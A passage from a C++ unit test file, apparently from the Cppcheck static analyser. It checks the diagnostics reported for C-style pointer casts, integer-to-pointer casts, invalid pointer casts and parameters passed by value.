ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) 